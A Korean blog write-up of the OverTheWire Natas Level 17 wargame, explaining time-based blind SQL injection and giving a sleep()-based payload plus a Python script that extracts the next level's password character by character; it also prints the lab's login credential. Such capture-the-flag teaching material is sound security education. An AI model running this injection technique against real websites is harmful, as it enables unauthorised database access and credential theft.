Hacking/[Web]Natas

OverTheWire [Natas Level 17]

양선규 2023. 3. 29. 01:10
728x90
반응형

Natas Level 17 입니다.

15레벨과 비슷한 Blind SQL Injection 문제입니다.

 

 

Level 17

 

메인 페이지 입니다. Level 15와 같이, 입력값과 일치하는 계정이 존재하는지 확인하는 기능입니다.

 

 

source code

 

소스코드 입니다. Level 15와 전체적으로 완전히 같으나, 딱 하나 다릅니다.

 

 

알려주지 않는다

 

바로 최종적으로 유저가 존재하는지 아닌지 알려주는 출력구문이 주석처리 되어 있습니다. 쿼리 오류도 마찬가지입니다.

즉, 우리의 입력값에 대한 서버의 반응을 전혀 알 수 없다는 것입니다.

 

 

아무것도 없다

 

무엇을 입력하든, 이렇게 아무것도 알려주질 않습니다.

아무것도 알 수가 없는데, 어떻게 해야 할까요?

 

소스코드를 보시면, 출력문이 주석처리 되어있을 뿐이지 기능 자체는 완전히 같습니다.

그렇다는 것은, 우리가 입력한 쿼리는 여전히 정상작동 한다는 뜻입니다.

따라서 쿼리에 대한 참/거짓 반응을 알 수 있다면, 이전 문제와 동일한 방법으로 해결이 가능할 수 있습니다.

 

우리의 입력에 대한 서버의 참/거짓 반응을 판단할 수 있는 또다른 방법은,

바로 sleep() 함수를 이용하는 것입니다.

Time Based Blind SQL Injection 이라고도 합니다.

 

 

DB명 확인

 

" or 1=1 and substr(database(),1,7)="natas17" and sleep(2)#

 

sleep()함수 사용법은, 쿼리문 끝에 and sleep(지연시간)  을 입력하면 됩니다.

sleep(2) 이라고 입력하면 2초의 지연시간을 갖게 됩니다.

제가 입력한 쿼리가 참(TRUE)일 때, 2초의 시간이 지연된 후 빈 페이지가 출력됩니다.

거짓(FALSE) 이라면 지연시간 없이 즉시 빈 페이지가 출력됩니다.

 

저번 문제와 같을 거라고 예상했기에, DB명을 sleep함수로 추측해 봤습니다.

역시나 2초가 지연되었고, DB명은 "natas17" 이었습니다.

 

추가적으로 username 컬럼에 natas18 계정이 존재하는지 확인해 봤는데,

역시나 4번째 레코드에 위치하는 걸 보니 완벽하게 같은 문제입니다.

 

이제 우리가 해야 할 일은, sleep() 함수를 추가하여 자동화 코드를 만들어 natas18의 password를 추출하는 것입니다.

 

 

import requests
import string

username = 'natas17'
password = 'XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd'

url = f"http://{username}.natas.labs.overthewire.org/?debug=true"

letters = string.ascii_letters + string.digits

nataspass = ''

while len(nataspass) < 32:
    for char in letters:
        print(f"Attemping password: {nataspass}{char}")
        response = requests.post(url, auth = (username, password), data = {"username": 'natas18" and binary password like "'+ nataspass + char + '%" and sleep(10) #'}, )
        result_time = response.elapsed.total_seconds()
        print(result_time)

        if result_time > 10:
            nataspass += char
            print(nataspass)
            break

 

Time Based Blind SQL Injection 자동화를 위한 소스코드입니다.

Level 15에서 사용했던 코드를 약간 수정했습니다.

 

"username": 'natas18" and binary password like "'+ nataspass + char + '%" and sleep(10) #'

 

이 부분이 전송할 payload 입니다. 저 부분을 풀어보면

natas18" and binary password like "문자열%" and sleep(10) #

username(입력 폼) 부분에 해당 명령어가 그대로 들어가게 됩니다.

"문자열" 자리에는 임의의 문자열이 계속 바뀌어 가며 들어갑니다.

 

binary : password의 대소문자를 구분하기 위해 입력함

like : 문자열%와 일치하는 패턴을 매칭함

% : 어떤 문자열이 얼마나 길게 들어오든 상관없음.

 

즉, password가 임의의 문자열로 시작하는지 판단하는 쿼리입니다.

 

 

result_time = response.elapsed.total_seconds()
print(result_time)

if result_time > 10:
    nataspass += char
    print(nataspass)
    break

 

그리고 페이로드 아래쪽을 보시면,

[변수명].elapsed.total_seconds() 라는 함수가 있습니다.

이것은 쿼리에 대한 응답시간을 체크하는 함수입니다.

 

그리고 맨 아래 조건문에서, 걸린 시간이 10초를 초과한다면 password로 추가하게 만들고 있습니다.

 

 

password 획득

 

코드 실행 결과입니다. 추출한 password와 각 요청에 걸린 지연시간을 출력하고 있으며

마지막엔 추출완료된 password를 한번 더 출력하고 프로그램을 종료합니다.

10초가 넘는 지연시간이 발생하니, password로 추가하는 모습이 보이고 있습니다.

 

이번 문제는 Level 15와 거의 완벽하게 동일한 문제였으나, 참/거짓값을 직접 출력해주지 않았기에

sleep() 함수를 이용해야 하는 문제였습니다.

 

중간과정에 대한 설명이 부족했다면, Level 15 글을 보시면 상세하게 설명되어 있으니 참고해주시기 바랍니다.

728x90
반응형

'Hacking > [Web]Natas' 카테고리의 다른 글

OverTheWire [Natas Level 19]  (1) 2023.04.04
OverTheWire [Natas Level 18]  (0) 2023.03.29
OverTheWire [Natas Level 16]  (0) 2023.03.28
OverTheWire [Natas Level 15]  (0) 2023.03.27
OverTheWire [Natas Level 14]  (0) 2023.03.25